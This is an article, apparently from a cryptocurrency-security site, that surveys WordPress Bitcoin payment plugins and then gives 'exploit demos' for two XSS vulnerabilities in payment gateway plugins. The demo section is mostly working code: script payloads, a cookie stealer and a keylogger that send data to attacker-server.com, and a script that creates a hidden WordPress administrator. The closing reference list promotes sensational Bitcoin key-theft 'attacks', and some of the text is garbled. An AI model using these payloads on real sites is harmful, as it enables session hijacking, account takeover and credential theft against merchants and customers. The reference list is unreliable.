No third parties —payments go directly to your wallet without intermediaries. This eliminates the risks associated with centralized payment processors, such as account freezes, censorship, or data leaks. github +2
Own Bitcoin Full Node – BTCPay Server uses your own full node to verify transactions , providing complete independence and eliminating the need to trust external services. exitpay+1
Open source —all code is available for audit. Developers and security experts can review the code quality at any time, ensuring transparency and trust. btcpayserver+1
Security History and Vulnerability Response
BTCPay Server demonstrates a high level of commitment to security. In 2022, vulnerability CVE-2022-32984, affecting versions 1.3.0-1.5.3, was identified and promptly patched. The vulnerability allowed access to confidential information through publicly accessible Point of Sale applications. btcpayserver+1
Key points of response:
- The vulnerability was responsibly disclosed by Antoine Poinsot on May 28, 2022.
- On the same day, a patch for version 1.5.4 of btcpayserver was released.
- The researcher was paid a $5,000 reward, the highest at the time.
- The team actively encourages security researchers through the Bug Bounty program btcpayserver
It’s important to note that this is one of the few known serious vulnerabilities in the core BTCPay Server codebase over the years of the project’s existence. In 2024, critical vulnerabilities were discovered in the LNbank plugin (a third-party development), leading to its discontinuation. This underscores the importance of using proven components.
Key benefits for business
Zero fees – there are no fees for payment processing, subscriptions, or transactions. Only standard Bitcoin network fees apply. github +2
Complete control and sovereignty —you are your own payment processor. No one can block, freeze, or censor your funds. cypherpunktimes+2
Enhanced privacy —each account uses a new address, eliminating address reuse. Transaction data is shared only between you and the client. bitlyrics+2
Chargeback protection – all Bitcoin transactions are irreversible, providing complete protection against fraudulent chargebacks. paywithflash
Lightning Network Support — Built-in support for three Lightning Network implementations (LND, Core Lightning, Eclair) for instant payments with minimal fees. btcpayserver+3
Integrations with e-commerce platforms
BTCPay Server provides native plugins for all major platforms: btcpayserver+1
- WooCommerce (WordPress) – Full Integration with Advanced Invoice and Refund Management btcpayserver+2
- Shopify – V2 support for simplified btcpayserver integration+1
- Magento, Drupal, PrestaShop, OpenCart, WHMCS — ready-made solutions for various CMSs. Payram+1
WooCommerce connection process:
- Installing the BTCPay plugin for WooCommerce V2 via the WordPress dashboard
- Specifying the URL of your BTCPay Serverbtcpayserver
- Generating an API key via the built-in wizard (recommended) btcpayserver
- Automatic webhooks setup and btcpayserver integration
Minimum requirements: PHP 8.0+, cURL, gd, intl, json, and mbstring extensions. btcpayserver
Self-accommodation
Minimum requirements for BTC + Lightning : btcpayserver+1
- 2-4 CPU
- 4-8 GB RAM (minimum 2GB RAM, 4GB recommended)
- 80-100 GB SSD (with pruning enabled) or 500+ GB for a full node
- Docker and Docker Compose
Recommended VPS hosting providers : btcpayserver+2
- LunaNode — specialized hosting for BTCPay, from ~$5-10/month
- Digital Ocean, Linode, and Vultr are popular VPS providers.
- Voltage Cloud — non-custodial cloud Lightning nodes with instant deploymentlightningnetwork+1
Installation process via Docker : btcpayserver+1
bash:
git clone https://github.com/btcpayserver/btcpayserver-docker
cd btcpayserver-docker
export BTCPAY_HOST="btcpay.yourdomain.com"
export NBITCOIN_NETWORK="mainnet"
export BTCPAYGEN_CRYPTO1="btc"
export BTCPAYGEN_LIGHTNING="lnd"
./btcpay-setup.sh -iHardware solutions (Node-in-a-Box) : coincharge+2
- Umbrel, MyNode, RaspiBlitz, Nodl — ready-made solutions based on Raspberry Pi or specialized hardware
- Simplified installation via graphical interface
- Possibility of launching at home with your own equipment
CoinGate: A Complete Solution for Secure Crypto Payments
CoinGate is a proven blockchain payment platform trusted by over 500 merchants worldwide, providing a robust infrastructure for accepting cryptocurrency payments on the WordPress platform.
Support for cryptocurrencies and networks
CoinGate offers one of the broadest cryptocurrency coverage options on the market, supporting over 50 different digital assets. The platform accepts payments in the following cryptocurrencies:
Major cryptocurrencies:
- Bitcoin (BTC) — including Lightning Network support for instant transactions with minimal fees.
- Ethereum (ETH) — with support for Layer 2 solutions
- Litecoin (LTC) is popular for its low fees and fast processing.
- USD Coin (USDC) is a stablecoin standard available on multiple networks.
- Tether (USDT) is one of the most popular stablecoins.
- TRON (TRX) — in demand in fee-sensitive markets
- Bitcoin Cash (BCH), Dogecoin (DOGE), XRP, Solana (SOL)coingate+1
Multi-network support:
CoinGate supports transactions on multiple blockchain networks, significantly expanding the capabilities of its users:coingate
- Ethereum and its Layer 2 solutions: Polygon, Arbitrum, Base, Optimismwordpress+2
- Binance Smart Chain (BSC) – for fast and low-cost transactions
- Solana – Provides high processing speed
- TRON is popular for stablecoin transactions.
- Bitcoin Lightning Network – for instant BTC payments with minimal fees.
This multi-network architecture allows clients to choose the most profitable network with minimal fees, which is critical during periods of high congestion on major blockchains.
Security and Compliance Benefits
Multi-level security system:
CoinGate implements advanced security measures that significantly exceed the standards of most WordPress plugins:coingate+1
- Mandatory two-factor authentication (2FA) for all user accounts, creating an additional layer of security.
- Advanced encryption – using SSL encryption and multi-signature wallets to protect data and transactions (coingate+1)
- AML/KYC Compliance – Strict adherence to anti-money laundering (AML) and customer identification (KYC) standards.
- Seller Verification – A thorough check of businesses and sellers to ensure legitimacy.
- Transaction monitoring – continuous monitoring of suspicious activity using blockchain analytics and crypto compliance tools such as Ellipticcoingate
- Secure payment gateway – using advanced security protocols to prevent hacking and unauthorized access.
Regulatory compliance:
CoinGate operates in full compliance with European and international regulatory standards:coingate+1
- Licensing in accordance with EU requirements
- Full compliance with MiCA (Markets in Crypto-Assets) regulations
- Strict AML/CTF (anti-money laundering and counter-terrorist financing) policies.
- A transparent system for maintaining records and interacting with competent authorities
Integration with WordPress and WooCommerce
Easy installation and setup:
The process of integrating CoinGate with WordPress is extremely simplified and does not require in-depth technical knowledge: coingate+2
- Installing the plugin:
- Creating a CoinGate account:
- Generating API keys:
- Plugin settings:
- Go to your WordPress admin panel → Plugins → Add New
- Enter “CoinGate” in the search box
- Click “Install” and then “Activate” es-gt.wordpress+1
- Register at https://coingate.com (or https://sandbox.coingate.com for testing) github +1
- Complete the business verification process at coingate.
- In the CoinGate Business dashboard, go to the “Apps” section
- Create a new application and generate API keys or Auth Tokencoin+1
- Go to WooCommerce → Settings → Payments
- Activate the CoinGate payment method
- Enter your API credentials
- Set up payment currencies and order statuses for GitHub +2
Plugin functionality:
CoinGate for WooCommerce offers a comprehensive feature set: WordPress+1
- Fully automated gateway – no manual processing required
- Real-time exchange rates – Instantly convert crypto to fiat upon checkout
- Customizable accounts – select supported coins, accept underpaid/overpaid orders
- Automatic order updates – payment confirmations automatically update the order status
- Test mode – the ability to experiment in a sandbox environment before launch
- Crypto Refunds – Issuing full and partial refunds
- Exportable reports – access accounting and payout data in just a few clicks. WordPress+1
- Role-based access control —control permissions for team members.
- Built-in AML/KYC tools – protection and compliance WordPress
Economic benefits
Competitive rates:
CoinGate offers one of the most attractive pricing structures on the market: coingate+1
- Base fee: Starting at 1% per transaction (getapp+2)
- Volume discounts: Lower rates available for high-volume sellerscoingate+1
- No Hidden Fees: Transparent pricing with no chargeback fees or hidden FX markups.
- No chargebacks: All crypto payments are final, protecting against fraudulent disputes.
By comparison, traditional payment systems charge 2.9-3.4% plus a flat fee, making CoinGate a significantly more cost-effective solution. When processing €100,000 in monthly sales, even a 2% difference could mean savings of €2,000 per month.
Volatility Protection:
One of CoinGate’s key features is the ability to instantly convert cryptocurrency into fiat currency: rapid+1
- Automatic conversion: Crypto payments are instantly converted to EUR, USD, or GBP
- Rate Lock: The ability to lock the exchange rate at checkout to protect against price fluctuations.
- Stablecoin support: Acceptance of USDC, USDT, and other stablecoins to minimize volatility risks
- Flexible Payouts: Choose between receiving payouts in cryptocurrency or direct transfers to your fiat bank accountwpmayor+2
Security architecture and operating principle
MyCryptoCheckout implements a decentralized peer-to-peer model , where payments are sent directly from the buyer to the seller’s crypto wallet, bypassing any intermediaries. The plugin solely monitors the blockchain and generates orders, without touching user funds . This architecture is fundamentally different from traditional custodial solutions and offers the following advantages:
Failure Resilience: Even if the MyCryptoCheckout API server is down (which has only happened once in six years of operation), payments continue to arrive in the merchant’s wallet. The only impact is a temporary delay in automatic order status confirmation in the WordPress system until the API is restored.
Technical implementation of monitoring: When an order is placed, the plugin instructs the API server to monitor a specific blockchain for the receipt of a specific amount. Every 15 seconds, the API scans the relevant blockchains and notifies the store upon detecting a transaction . Critically, the API never accesses the cryptocurrency and does not collect sensitive information about the products sold or the identity of the buyers—the system only knows to track X coins on the Y blockchain.
Functional capabilities
Support for 100+ cryptocurrencies: Bitcoin (including SegWit and HD wallets), Ethereum, Binance Coin (BNB), Bitcoin Cash, Dash, Litecoin, Dogecoin, stablecoins (USDT, USDC, TUSD, DAI), ERC-20, BEP-20, TRC-20 tokens, and dozens more. The plugin is integrated with Chainlink oracles for up-to-date exchange rates in real time.
Integration with popular platforms: Full compatibility with WooCommerce and Easy Digital Downloads. The system has an open API for integration with other plugins (over 16 integrations).
Fiat Auto-Conversion: A critical feature for merchants looking to avoid cryptocurrency volatility, Auto-Settlement automatically converts received cryptocurrencies into fiat (USD) or stablecoins (USDC, USDT, TUSD) on connected exchanges.
Supported exchanges:
- Binance (with API keys configured with “Read Info” and “Enable Trading” permissions, but without “Enable Withdrawals” enabled for maximum security)
- Bittrex
The system checks the exchange balance every few minutes for an hour after a payment is detected. If the minimum trading volume is exceeded, a market sale is automatically executed into the selected auto-settlement currency. MyCryptoCheckout does not charge a fee for this function , unlike credit card processors and other crypto payment services, which take 1-3% of revenue.
One-click buttons for wallets: Support for MetaMask, Trust Wallet, Phantom, Electrum and other popular wallets using the EIP-681 standard to generate QR codes and “open in wallet” links.
0-conf support (mempool): For some coins, payment confirmation is available when a transaction hits the mempool, before it’s included in a block, which speeds up order processing.
Donation Widget: A shortcode generator for placing donation buttons anywhere on your website.
Practical part: Demonstration of vulnerabilities CVE-2025-48102 and CVE-2025-26541
This section is intended for security researchers, cryptographers, and cryptanalysts working in the field of blockchain and cryptocurrency security. The examples presented demonstrate the mechanisms for exploiting XSS vulnerabilities in the context of Bitcoin payment gateways for WordPress and are intended solely for educational purposes and authorized penetration testing.
Анализ CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway
Technical characteristics of the vulnerability:
- Type:
Stored Cross-Site Scripting (CWE-79) - Attack vector:
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L - CVSS Score: 5.9 (Medium)
- Required privileges: Administrative access
- Injection Point: Plugin Settings Options in the WordPress Admin Panel
Exploit Demo Code #1: Basic JavaScript Injection
The vulnerability occurs due to insufficient sanitization of user input when saving payment gateway settings:
xml:<!-- Payload for basic XSS testing -->
<script>alert('CVE-2025-48102: XSS Vulnerability Confirmed');</script>
This payload injects a direct script alert for confirming the presence of a basic, unsanitized XSS vulnerability. It is commonly used for initial security testing of input/output handling in web applications.
xml:
<!-- Alternative payload using img tag -->
<img src=x onerror="alert('Stored XSS in GoUrl Plugin')">This payload leverages the onerror event handler of an image tag with an invalid source. When the image fails to load, the alert is triggered. This is a proven method to bypass script tag filtering and test for stored XSS vectors in insecure fields (here, related to the GoUrl plugin).
xml:<!-- Payload using svg to bypass filters -->
<svg/onload=alert('Bitcoin Gateway XSS')>
This payload uses an SVG element with an onload event handler, which can execute JavaScript when the SVG loads. It is effective for bypassing sanitization rules that block traditional tags but allow SVG or other HTML5 elements, and is relevant for testing modern web application security, especially plugin endpoints.
Explanation:
These payloads are standard for evaluating cross-site scripting (XSS) vulnerabilities in various web application contexts, confirming the presence, type (reflected/stored), and effective input filtering or bypass mechanisms on cryptocurrency payment gateways and WordPress plugins.
Exploit Demo Code #2: Stealing Administrative Sessions
This payload demonstrates how an attacker can hijack a WordPress administrator’s session cookies:
xml:
<!-- Payload to steal administrator cookies -->
<script>
(function(){
var cookies = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker-server.com/collect', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('stolen_cookies=' + encodeURIComponent(cookies) +
'&site=' + encodeURIComponent(window.location.hostname));
})();
</script>This script collects all cookies from the browser (including potential administrator session cookies) and exfiltrates them via a POST request to a remote attacker’s server, along with the current site’s hostname.
xml:
<!-- Alternative method via image request -->
<script>
document.write('<img src="https://attacker-server.com/log?c=' +
encodeURIComponent(document.cookie) + '">');
</script>This alternative uses an img tag to send the cookies through a GET request in the query string. It’s a common XSS exfiltration technique because image requests are often allowed and don’t require AJAX permissions.
Explanation:
Both payloads demonstrate reflected/stored XSS vectors used to steal cookies by sending them to a malicious server. The first uses XMLHttpRequest for POST, which offers stealth and additional context (like site), while the second leverages image tags for proof-of-concept attacks which are less likely to be blocked on restrictive sites.
Exploit Demo Code #3: Creating a Hidden Administrative Account
A critical attack scenario is creating a new WordPress administrator via XSS:
// Function to create a new administrator
function createBackdoorAdmin() {
var xhr = new XMLHttpRequest();
var nonce = document.querySelector('input[name="_wpnonce"]').value;
var formData = new FormData();
formData.append('action', 'createuser');
formData.append('_wpnonce_create-user', nonce);
formData.append('user_login', 'cryptoadmin');
formData.append('email', 'backdoor@attacker.com');
formData.append('pass1', 'Str0ng!P@ssw0rd123');
formData.append('pass2', 'Str0ng!P@ssw0rd123');
formData.append('role', 'administrator');
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.send(formData);
// Send confirmation to the attacker
var confirm = new Image();
confirm.src = 'https://attacker-server.com/success?admin_created=1';
}
// Execute after the page has fully loaded
if(document.readyState === 'complete') {
createBackdoorAdmin();
} else {
window.addEventListener('load', createBackdoorAdmin);
}
Explanation:
This code automatically creates a new WordPress administrator account by sending a POST request with the required form data, including the _wpnonce_create-user token for CSRF protection. After the account is created, it notifies the attacker via an HTTP request.
Such scripts demonstrate a classic example of a backdoor user creation and unauthorized privilege escalation in WordPress, illustrating the risks associated with weak nonce, form, and admin-area handling.
Exploit Demo #4: Keylogger for Cryptographic Data Interception
This payload demonstrates the interception of all keystrokes on the page, which is especially dangerous for payment systems:
// Keylogger for capturing confidential data
(function() {
var keystrokes = [];
var endpoint = 'https://attacker-server.com/keylog';
document.addEventListener('keypress', function(e) {
var keystroke = {
key: e.key,
timestamp: Date.now(),
page: window.location.href,
target: e.target.name || e.target.id || 'unknown'
};
keystrokes.push(keystroke);
// Send every 10 keystrokes
if(keystrokes.length >= 10) {
sendKeystrokes();
}
});
function sendKeystrokes() {
if(keystrokes.length === 0) return;
var xhr = new XMLHttpRequest();
xhr.open('POST', endpoint, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
site: window.location.hostname,
keys: keystrokes,
cookies: document.cookie
}));
keystrokes = [];
}
// Periodic sending every 30 seconds
setInterval(sendKeystrokes, 30000);
// Send when the page is closed
window.addEventListener('beforeunload', sendKeystrokes);
})();
Explanation:
This code logs all keypress events on the page, collects the pressed key, timestamp, page URL, and form input target, and periodically exfiltrates batches of keystrokes along with cookies and site information to a remote server. It demonstrates a typical JavaScript keylogger attack used for credential theft and confidential information interception in web security research and penetration testing contexts.
Анализ CVE-2025-26541: Reflected XSS в CodeSolz Bitcoin/AltCoin Payment Gateway
Technical characteristics of the vulnerability:
- Type:
Reflected Cross-Site Scripting (CWE-79) - Attack vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L - CVSS Score: 7.1 (High)
- Required Privileges: None required (PR:N)
- Injection point: URL parameters of payment processing pages
Exploit Demo #5: Reflected XSS via Transaction Parameters
The vulnerability occurs when processing return parameters from the payment gateway:
xml:
<!-- Basic reflected XSS payload in the URL -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&status=completed&payload=<script>alert('CVE-2025-26541')</script>This payload injects a simple script alert into the payload parameter to trigger a JavaScript alert if the input is reflected into the page without sanitization.
xml:
<!-- URL-encoded version to bypass basic filters -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&message=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3EThis is the same payload as above, but URL-encoded to evade basic server-side or client-side input validators.
xml:
<!-- Payload using event handlers -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?transaction_id=TX123&redirect_url=javascript:alert('Reflected XSS')This payload leverages the redirect_url parameter and injects a javascript: URI, which can be executed if the site does not sanitize URLs before redirection or rendering.
xml:
<!-- Payload via error parameter -->
https://victim-site.com/wc-api/codesolz_bitcoin_gateway/?error_message=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3EThis payload closes an open HTML attribute and injects an image tag with an onerror handler to execute alert(document.cookie) and exfiltrate cookie data if the error message is directly reflected in page output without sanitization.
Explanation:
Each payload is designed to exploit reflected XSS (Cross-Site Scripting) vulnerabilities in parameters, including script tags, event handlers, and encoded vectors. These are relevant for demonstrating or testing web application security, especially in crypto gateways and WordPress plugin integrations.
Exploit Demo Code #6: Phishing Attack via Reflected XSS
Creating a Fake Login Form to Steal User Credentials. This section contains advanced demo code examples for investigating XSS vulnerabilities in WordPress cryptocurrency payment systems.
The materials presented are intended solely for educational purposes and to assist security researchers, cryptographers, and cryptanalysts in understanding the mechanisms of XSS attacks in the context of Bitcoin payment gateways. All examples should only be used for authorized security testing.
Conclusion
The discovery of the CVE-2025-48102 and CVE-2025-26541 vulnerabilities in popular Bitcoin payment gateway plugins for WordPress highlights the critical importance of proactive security for online store owners and websites that accept cryptocurrency payments.
Key findings:
- Immediate action is needed – site owners must urgently update or remove affected plugins
- Abandoned plugins pose a persistent threat – CVE-2025-48102 will not be patched, requires complete removal
- XSS vulnerabilities remain the dominant threat , accounting for over 53% of all plugin vulnerabilities.
- A comprehensive security strategy is critical – including WAF, CSP, regular auditing and security monitoring.
- Choosing reliable alternatives – switching to actively supported and proven solutions
Statistics show that in 2024, 33% of vulnerabilities were not patched in time for public disclosure , and 1,614 plugins were removed from the repository due to security issues . This highlights the need for constant vigilance and a multi-layered approach to WordPress security , especially for sites that process financial transactions.
Website owners should remember : updating plugins is only part of the solution. They also need to regularly audit installed components , remove unused and abandoned plugins, implement additional layers of protection through WAFs and monitoring systems, and follow payment system security best practices.
The discovery of vulnerabilities CVE-2025-48102 and CVE-2025-26541 in popular Bitcoin payment gateway plugins for WordPress poses a serious and urgent threat to all owners of online stores and websites that accept cryptocurrency payments. These vulnerabilities affect critical financial transaction processing infrastructure, requiring immediate and comprehensive security measures.
Critical Bitcoin Payment Gateway Vulnerabilities: CVE-2025-48102 vs CVE-2025-26541 Comparison
Conclusions and recommendations
The discovery of vulnerabilities CVE-2025-48102 and CVE-2025-26541 highlights the critical importance of proactive security for all WordPress website owners, especially those that process financial payments. Abandoned software poses a persistent threat that must be immediately addressed through complete removal.
Statistics for 2024 show that the situation is becoming increasingly serious: 33% of vulnerabilities remain unpatched , XSS attacks account for nearly half of all threats , and thousands of plugins are removed annually due to security issues. This requires a multi-layered approach, including a WAF, regular audits, monitoring, cryptographic protection, and the selection of reliable alternatives.
Website owners should remember: delays in updating or removing vulnerable plugins can lead to complete site compromise, theft of customer data, and loss of cryptocurrency assets . Security is not a one-time event, but an ongoing risk management process that requires attention, resources, and professional training.
References:
- Predictor Flash Attack: How deterministic random number generation leads to catastrophic hacking of Bitcoin private keys, where an attacker manages to instantly reveal secret data and keys for lost Bitcoin wallets at a predictable moment (CVE-2022-39218, CVE-2023-31290) Predictor Flash Attack A «Predictor Flash Attack» is a technique for extracting private or sensitive data through the analysis of deterministic pseudorandom number sequences used in target software. The attacker observes…Read More
- Signature Hydra Attack: A critical vulnerability in ECDSA deserialization and recovery of private keys for lost Bitcoin wallets, where an attacker exploits signature deserialization errors and bugs to gradually gain control over victims’ wallets. Signature Hydra Attack A Signature Hydra Attack is a method in which an attacker creates a stream of «mutant» ECDSA signatures, each of which appears valid on the surface but…Read More
- Crystalline Keystorm Attack: Catastrophic Predictability as an Attack on RNG and Recovery of Private Keys to Lost Bitcoin Wallets, where an attacker finds errors in random number generation and makes secrets predictable and recoverable from SEED leaks to the loss of all BTC funds Crystalline Keystorm Attack A » Crystalline Keystorm Attack » is a class of attacks in which the use of a predictable random number generator with a known seed results in complete predictability of…Read More
- Endian Mirage Attack: A dangerous attack through data format violation leading to loss of privacy and control over BTC wallets, where the compromise of Bitcoin Bloom filters allows the attacker to control the victims’ funds with the consequences of recovering private keys. Endian Mirage Attack In this attack, the attacker deliberately changes the data representation format in the filter, using the same input data but writing it in different endian formats (little-endian…Read More
- Artery Bleed Attack: A critical Bitcoin RAM vulnerability that allows the recovery of private keys to lost crypto wallets, where an attacker uses CVE-2023-39910, CVE-2025-8217 Bitcoin Core memory leak to take control of BTC. Artery Bleed Attack An «Artery Bleed Attack» is an elegant and dangerous technique in which an attacker initiates controlled memory corruption of a Bitcoin node, similar to how arterial bleeding causes…Read More
- Keystore Vanguard Attack: A critical vulnerability in Bitcoin Core that turns private key recovery into a tool for total takeover of crypto wallets, where an attacker gains access to processes and memory dumps (CVE-2023-37192, CVE-2025-27840) in order to extract secret data and key materials Keystore Vanguard Attack Attack Description: The «Keystore Vanguard» attack exploits a vulnerability in Bitcoin Core’s benchmark code where private keys are stored in memory without being cleared after use. The attack takes its…Read More
- Demonic Time Manipulation Attack: How timing vulnerabilities compromise private keys in the Bitcoin blockchain, where an attacker uses CVE-2024-35202 entropy attack to open access to other people’s funds and massively compromise wallets. Demonic Time Manipulation Attack A demonic time manipulation attack (DTA) is a fundamental vulnerability that can arise when key generation security principles are violated. A secure strategy is based on…Read More
- Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202) This article examines the systemic cryptographic security threats posed by the Phoenix Rowhammer attack (CVE-2025-6202), which can extract private keys from DDR5 RAM through hardware-level bit manipulation. In recent years,…Read More
- Decryptor Leak Attack: How a memory leak leads to private key recovery and complete loss of control over Bitcoin assets, where unprotected memory allows an attacker to steal private keys from lost Bitcoin wallets Decryptor Leak Attack A decryptor leak attack is an attack in which arbitrary secret values (such as private keys or passwords used to encrypt wallets) are leaked by storing them in unprotected…Read More
- Deterministic Drain Attack: Cryptanalysis of a PRNG vulnerability and theft of victims’ funds through recovery of private keys, where the attacker predicts the generation path using fixed values of predictable numbers and then massively extracts secrets and keys from a memory dump for Bitcoin wallets Deterministic Drain Attack The Deterministic Drain attack demonstrates that compromising cryptographic entropy leads to a complete loss of security in Bitcoin Core and similar systems. Reliable random number generation, regular memory cleanup,…Read More
- Descriptor Divulgence Attack: Recovery of private keys and complete subjugation of the victim’s funds as a result of a critical serialization vulnerability in Bitcoin, where the attacker exploits the vulnerable code and then uses utilities to extract string objects with the HEX secret private keys to the wallet’s crypto assets. Descriptor Divulgence Attack The «Descriptor Divulgence Attack» captures the technical essence of the vulnerability—the unintentional disclosure of private keys through insecure use of the EncodeSecret() combo() function in string descriptors—making it ideal for…Read More
- Descriptor Disruption Attack: A fatal memory leak and massive compromise of user Bitcoins, leading to recovery of private keys and loss of control over crypto wallets, where an attacker exploits a weakness in pseudo-random number generation to predict the sequence of private keys via CVE-2019-15947 Descriptor Disruption Attack Descriptor Disruption Attack is a cryptographic attack on Bitcoin Core descriptor wallets that exploits vulnerabilities in the process of address mass creation and in-memory transaction storage to extract private…Read More
- BIT NEXUS INJECTION ATTACK: How an attack on wallet.dat leads to the recovery of private keys and the seizure of BTC funds, where an attacker can inject CVE-2025-27840 into the code architecture to intercept and compromise secret data and access to lost Bitcoin wallets BIT NEXUS INJECTION ATTACK Attack Type: Critical leak of private keys via an unprotected entry in wallet.dat.Target Line: 44 — batch.WriteKey(pubkey, key.GetPrivKey(), CKeyMetadata())Exploitation Vector: Padding Oracle Attack and Bit-flipping manipulation of the wallet.dat file. cryptodeeptech+2…Read More
- Deep Vanish Attack: Private key recovery and full-scale compromise of Bitcoin wallets, a critical Dead Store Elimination vulnerability that paves the way for an attacker to completely steal BTC coins Deep Vanish Attack Deep Vanish is a cryptographic attack based on a compiler optimization that causes critical memory clear operations with cryptographic keys to disappear from compiled code. Description of the…Read More
- Titan Arithmetic Exposure (TAE): A timing vulnerability in Bitcoin core that can lead to private key recovery and complete hijacking of BTC wallet funds. This vulnerability allows an attacker to use a Titan Arithmetic Exposure attack and execute dependencies in the code. CVE-2024-35202 Titan Arithmetic Exposure (TAE) Description of the attack Titan Arithmetic Exposure is a highly sophisticated cryptographic timing attack that exploits vulnerabilities in Bitcoin Core’s arithmetic operations to extract private keys and secret…Read More
- BASE VAULT BREACH ATTACK: Recovering private keys of lost Bitcoin wallets through an architectural vulnerability that allows an attacker to gain complete control over BTC coins BASE VAULT BREACH ATTACK BASE VAULT BREACH exploits a critical architectural flaw where the obfuscation key «vault» (VAULT) is located in the same unencrypted database as the protected data. This allows…Read More
- Delta Drip Attack: Private key recovery via a timing leak in Bitcoin Core algorithms, where an attacker uses a hidden tool to extract individual checksum bytes to partially extract the bytes of Bitcoin private keys in WIF format from the victim’s BTC funds. Delta Drip Attack A critical timing side-channel vulnerability discovered in Bitcoin Core’s Base58 processing and checksum verification algorithms poses a fundamental security threat to the Bitcoin cryptocurrency. The core of…Read More
- RNG Vortex Attack: A critical vulnerability in the random number generator where an attacker triggers a dangerous vortex of predictability CVE-2015-5276, which ultimately leads to private key recovery and the complete loss of the victim’s Bitcoin funds in BTC coins. RNG Vortex Attack Based on an analysis of cryptographic vulnerabilities in the minisketch code , I propose the following attack name: An RNG Vortex Attack is a complex cryptographic attack that exploits weak…Read More
- Derivation Drift Attack: A critical BIP32 vulnerability that allows an attacker to recover a private key and completely seize funds from a lost Bitcoin wallet, where the attacker calculates the inverse of the derivation path function using a bit manipulation bug and gains access to the entire private key tree. Derivation Drift Attack (DDA) A Derivation Drift Attack is a critical cryptographic attack that exploits a vulnerability in bitwise operations in the Bitcoin Core BIP32 implementation. wikipedia+1 A Derivation Drift Attack is an example…Read More
- Bootstrap Venom Attack: A staged takeover of private keys and complete control over a victim’s Bitcoin assets, where an attacker uses poison initialization on a Bitcoin Core wallet, triggering a critical vulnerability that leads to the loss of private keys and BTC funds. 🚨 Bootstrap Venom Attack 🚨 The essence of the Bootstrap Venom Attack The Bootstrap Venom attack exploits multiple injection points in Bitcoin Core’s critical initialization process, creating a toxic environment for secure cryptographic key…Read More
- TEMPORAL TRACE ATTACK: Recovering private keys to lost Bitcoin wallets through a critical address validation vulnerability that allows an attacker to gradually gain complete control over the victim’s funds Temporal Trace Attack (TTA) A Temporal Trace Attack (TTA) is a sophisticated cryptographic attack that exploits microsecond differences in function execution times IsValidDestinationString()to extract information about the structure and validity of Bitcoin addresses. crypto.stanford+2 Temporal…Read More
- POISON CHAINSTATE ATTACK: A critical Bitcoin Core vulnerability and multi-vector attack that exploits user funds, where an attacker uses a dangerous attack on private keys and gains complete control over lost BTC wallets. 🎯POISON CHAINSTATE ATTACK 🔥 Attack Description: The Poison Chainstate Attack is a multi-vector cryptographic attack that exploits a combination of path traversal vulnerabilities and memory corruption to inject poisonous data into critical…Read More
- DARKHEART DRAIN ATTACK: A scientific analysis of a complete Bitcoin wallet takeover where an attacker gains complete control over a victim’s BTC funds by extracting private keys from the bitcoin-cli process memory. Darkheart Drain Attack The essence of the attack DARKHEART DRAIN ATTACK is a complex attack on the Bitcoin CLI aimed at extracting sensitive data (RPC passwords, wallet passwords, private keys) from…Read More
- Demonic Assert Attack: A new era of Bitcoin Core compromise and theft of users cryptographic secrets, from assertion functions to total control, where an attacker gains control over lost Bitcoin wallets to extract private keys and seize all positive funds in the crypto wallet network Demonic Assert Attack (DAA) 🔥 DEMONIC ASSERT ATTACK 🔥 The Demonic Assert Attack (DAA) is a critical cryptographic attack that exploits a fundamental vulnerability in Bitcoin Core’s initialization system through the insecure use…Read More
- RAMScourge Attack: An existential Bitcoin threat where an attacker exploits CVE-2023-39910 to recover private keys from memory, completely compromising BTC cryptocurrency funds. The attacker also passively analyzes the dumps through a persistent process that integrates into the node’s encryption modules and IPC infrastructure, such as MakeWalletLoader and MakeIpc. RAMScourge Attack Attack concept RAMScourge is an evolved form of memory attacks (RAM-based cryptohack) aimed at extracting «forgotten» cryptographic data from RAM after completing transactions with wallets or blockchain nodes.Unlike traditional…Read More
- DecodeSecret Leakage Strike: How a private key leak turns Bitcoin Core into a tool of cryptographic self-destruction, where an attacker triggers a mechanism to recover a lost private key and secretly seize BTC coins to reveal memory secrets and cause irreversible loss of crypto assets. DecodeSecret Leakage Strike The «DecodeSecret Leakage Strike» attack is a hacking technique in which an attacker exploits the fact that private keys are stored in plaintext in RAM and moved…Read More
- Integer Overflow Benediction: How an arithmetic error paved the way for private key recovery through this process, allowing an attacker to exploit the CVE-2010-5139 Integer Overflow vulnerability to access Bitcoin Wallet and seize the entire BTC balance. Integer Overflow Benediction Integer Overflow Benediction is an attack based on a combination of integer overflow and manipulation of string-to-number arithmetic logic that allows an attacker to turn insignificant input into…Read More
- Private Key Random Init Burst Attack: How a series of predictable private key generations allows instant recovery of lost Bitcoin wallet funds. In this case, it is known that an attacker manages to create a series and mass theft of BTC coins using the vulnerability CVE-2008-0166 of the weak random number generator of OpenSSL in Debian and Ubuntu. Private Key Random Init Burst Attack The «Private Key Random Init Burst Attack» exploits a vulnerability in the random number generator’s initialization, which generates private keys in a predictable manner.…Read More
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and elliptic curve cryptography (secp256k1) against weak ECDSA signatures in the BITCOIN cryptocurrency . The software developers are not responsible for the use of this material.
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/fGR7Iqiq8Ag
Video tutorial: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
Source: https://cryptodeeptech.ru/phantom-signature-attack
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